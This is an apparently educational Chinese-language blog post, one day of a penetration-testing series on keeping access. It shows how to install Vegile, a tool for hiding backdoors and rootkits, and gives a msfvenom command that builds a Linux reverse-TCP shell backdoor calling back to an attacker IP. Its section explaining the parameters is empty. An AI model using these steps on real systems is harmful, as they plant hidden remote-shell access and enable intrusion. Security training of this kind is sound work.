【Day24】维持权限 — 隐藏後门(一)

哈罗～
来review一下，
之前提到维持权限时，
攻击者会建立後门或Rootkit，
并且会隐藏其恶意档案/程序。

今天要来介绍一个隐藏後门或Rootkit的小工具。

Vegile

这个工具是当我们已设置好後门或Rootkit时，
可以协助我们来隐藏其踪迹，
并且会无限的连接Metasploit来保持Session。

环境：Kali ─攻击方(192.168.168.131)

1. 安装Vegile。

   git clone https://github.com/Screetsec/Vegile.git
   cd Vegile
   chmod +x Vegile
   

   

2. 可透过./Vegile --h来查看参数说明。
   

3. 透过metaspolit中的msfvenom来制作一个後门。

   msfvenom -p linux/x64/shell/reverse_tcp lhost=[攻击者IP] lport=[自订port] -f elf -o [自订後门的路径]
   

   msfvenom　参数说明：

更多msfvenom参数说明可使用`msfvenom -h`。

小结

今天开始双十连假，
在连假第一天凌晨，
我们建立了一个後门。

先休息一下...
明天继续...

睡罗！　高歌离席～